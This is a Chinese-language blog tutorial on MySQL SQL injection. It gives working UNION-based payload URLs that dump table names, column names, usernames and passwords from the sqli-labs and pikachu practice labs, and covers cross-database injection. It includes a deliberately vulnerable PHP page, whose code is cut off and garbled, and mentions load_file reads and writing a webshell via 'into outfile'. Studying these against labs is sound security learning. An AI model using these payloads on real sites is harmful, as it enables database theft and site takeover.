Mysql注入
创始人
2024-04-02 06:25:35
0

💪💪mysql注入

  • 前言
  • 1.mysql之union注入
      • 1.1.判断是否有注入:
      • 1.2.信息收集
      • 1.3.进行注入
      • 1.4.完整注入实列
  • 2. mysql 跨库注入:
      • 2.1第一步就是找到数据库
      • 2.2第二步就是注入
  • 3.自己写union注入
  • 4.其他注入操作


前言

💎💎我们都知道数据库的种类大约有200多种,各种数据库不经相同,所以不同的数据库漏洞也不相同,这里我分数据库讲解sql注入,这里我先讲mysql数据库,以后会出其他数据库的注入,整体讲解思路如下:

在这里插入图片描述

1.mysql之union注入

1.1.判断是否有注入:

⚠️⚠️我们平时判断注入:and 1=1 , and 1=2;那为啥这种语句能够判断注入了,先看如下代码:

$id = $_GET['id'];
$db = new PDO('mysql:host=localhost;dbname=test','root','root');
$sql = "select * from user where id = $id";
$db->query($sql);

⚠️⚠️你不用搞懂如上代码,你只需要知道,存在注入,就是我们写入的sql语句能够被执行,不存在注入,就是我们写入的sql语句不能够被执行,

  1. 如果我写在网站后面输入?id=1,sql语句执行如下:select * from user where id = 1;我们知道and运算符,必须两边为真才为真,假设我们输入?id=1 and 1=1,sql语句执行如下:
  2. select * from user where id = 1 and 1= 1;,这条语句会被执行,并且结果为真,页面会出现变化,如果我们输入?id=1 and 1=2,sql语句执行如下:
  3. select * from user where id = 1 and 1= 2;这条语句会被执行,并且结果为假,页面不会出现变化 存在注入说明我输入的语句会被执行,如果不存在注入,不管sql语句是否为真,都不会执行

1.2.信息收集

  • 数据库版本:select version();请添加图片描述

  • 数据库用户:select user();

  • 数据库名:select database():当前数据库 , show databases ;所有数据库

  • 操作系统:select @@version_compile_os;

1.3.进行注入

💎💎 进行注入的顺序为 数据库 => 表 => 列 => 类容,我接下来以sqlabs第一关来演示:

1.4.完整注入实列

  1. 首先第一步还是看题:
    请添加图片描述
  2. 看到我们要干什么了,我们就可以进行注入探测了
    请添加图片描述

💪💪 以上是注入判断过程

  1. 存在注入后我们查看原sql语句所涉及的表有多收列,,知道原表有多少列后,我们方便进行union联合注入,原因如下:

💪💪union运算符
条件:
a.两边选择的列数必须相同,否则会报错
b.union剔除了重复项,union all不会剔除重复项
c.UNION结果集中的列名总是等于UNUIN中第一个SELECT语句中的列名

请添加图片描述
请添加图片描述
4. 由上面两张图片,我们可以知道,原表有三列,所以我们进行union注入的时候,要select 1,2,3,然后我们查看输出点,只有知道了输出点,我们才可以知道,在什么地方写上我们的注入语句
请添加图片描述
5. 由于输出了2,3所以select 1,2,3中,我们要把2,3替换掉我们的sql语句
请添加图片描述
请添加图片描述

💪💪以上是信息搜集,我们可以知道当前数据库为security,所以我门可以获取security数据库的信息,获取以上信息,我们还必须知道如下知识点:

⚠️⚠️ mysql表
5.0版本以上有的表:
@@version_compile_os 操作系统版本
information_schema 自带数据库
information_schema.schemata 数据库
schema_name
information_schema.tables 数据表
table_schema
table_name
information_schema.columns 数据列
column_name
table_name
table_schema

  1. 获取表名

http://192.168.87.130/sql/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

在这里插入图片描述

  1. 获取列名

ttp://192.168.87.130/sql/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+ 获取列名要带上数据库,不同的数据库可能有相同的表

在这里插入图片描述

  1. 获取数据

http://192.168.87.130/sql/Less-1/?id=-1' union select 1,username,password from users where database()='security' --+,还可以使用limit获取其他数据
http://192.168.87.130/sql/Less-1/?id=-1' union select 1,username,password from users where database()='security' limit 1,1--+:前面的1是获取第几行的数据,后面的1是获取几个数据

在这里插入图片描述

以上是获取信息的步骤,获取信息都要带上数据库名,这是重点,一定要记住

2. mysql 跨库注入:

假设在你的服务器上面有多个网站,每个网站都有数据库,如果你的某个网站存在sql注入,刚好sql注入用户权限较高,这样你就可以查询其他网站数据库信息,在这里我使用sqliablpikachu

2.1第一步就是找到数据库

一般来说,网站名字和数据库名字都是有联系的,比如说我们要找pikachu网站,就去找数据库为pikachu的数据库

重点:如下查找数据库的时候,不要通过information_schema.tablesinformation_schema.columns表去找,不然你会发现查找的数据库都是information_schema,不是以上两个表没有table_schema这个选项,而是因为数据库非常多,前面都是information_schema,后面才有其他的表,通过information_schamata表查找才是最好的

在这里插入图片描述

  1. 选择第二条语句找数据库
  • 1.http://192.168.87.130/sql/Less-2/?id=-1 union select 1,group_concat(table_schema),3 from information_schema.tables --+
  • 2.http://192.168.87.130/sql/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
    在这里插入图片描述

2.2第二步就是注入

  1. 找到数据库后找表信息
  • http://192.168.87.130/sql/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.columns where table_schema='pikachu' --+
    请添加图片描述
  1. 找表信息后找列名
  • http://192.168.87.130/sql/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='pikachu' and table_name='users'--+
    在这里插入图片描述
  1. 找信息

http://192.168.87.130/sql/Less-2/?id=-1 union select 1,username,password from pikachu.users --+这条语句的结果如下:但是http://192.168.87.130/sql/Less-2/?id=-1 union select 1,username,password from users where database()='pikachu'这条语句却得不到如下的结果,这是因为当前database()指定的是当前数据库
在这里插入图片描述

3.自己写union注入

先创建数据库

create database loophole;
use loophole;
create table sql_test(id int auto_increment,primary key (id),username char(10),address char(20)
);
insert into sql_test values (1,'admin1','hubei'),(2,'mozhe','beijin'),(3,'admin','hubei'),(4,'yk','ensi');
UNION注入";
$con = mysqli_connect("localhost","root","901026yk","loophole");
if(mysqli_connect_error())
{echo "连接错误" . mysqli_connect_error();
}$id = $_GET['id'] ?? 1;$sql = <<

按照如上操作,你就自己写了一个漏洞了,是不是很轻松了

4.其他注入操作

  1. 文件读
  • load_file() :读取敏感信息 读一些默认路径文件,获取路径获取指定路径文件,路径获取方法如下:
  1. 报错显示,
    请添加图片描述
  1. 遗留文件
    在这里插入图片描述
  1. 漏洞报错
  1. 平台配置文件
  1. 爆破
  1. 文件写

into outfile :写入后门,但是当MySQL服务器运行时带有——secure-file-priv选项时,它不能执行此语句。secure-file-priv概念

magic_quotes_gpc,绕过magic_quotes_gpc对路径进行编码magic_quotes_gpc这个开关和addslashes()一样
sql注入过滤函数:
is_int()
数据库用户:高权限用户可以写入,结合文件读写,可以直接写入webshell,这样直接得到网站控制权
网站路径:和数据库用户结合,得不到数据库用户最高权限不能写入,不知道路径不能webshell写到哪

相关内容

热门资讯

银河麒麟V10SP1高级服务器... 银河麒麟高级服务器操作系统简介: 银河麒麟高级服务器操作系统V10是针对企业级关键业务...
【NI Multisim 14...   目录 序言 一、工具栏 🍊1.“标准”工具栏 🍊 2.视图工具...
AWSECS:访问外部网络时出... 如果您在AWS ECS中部署了应用程序,并且该应用程序需要访问外部网络,但是无法正常访问,可能是因为...
不能访问光猫的的管理页面 光猫是现代家庭宽带网络的重要组成部分,它可以提供高速稳定的网络连接。但是,有时候我们会遇到不能访问光...
AWSElasticBeans... 在Dockerfile中手动配置nginx反向代理。例如,在Dockerfile中添加以下代码:FR...
Android|无法访问或保存... 这个问题可能是由于权限设置不正确导致的。您需要在应用程序清单文件中添加以下代码来请求适当的权限:此外...
月入8000+的steam搬砖... 大家好,我是阿阳 今天要给大家介绍的是 steam 游戏搬砖项目,目前...
​ToDesk 远程工具安装及... 目录 前言 ToDesk 优势 ToDesk 下载安装 ToDesk 功能展示 文件传输 设备链接 ...
北信源内网安全管理卸载 北信源内网安全管理是一款网络安全管理软件,主要用于保护内网安全。在日常使用过程中,卸载该软件是一种常...
AWS管理控制台菜单和权限 要在AWS管理控制台中创建菜单和权限,您可以使用AWS Identity and Access Ma...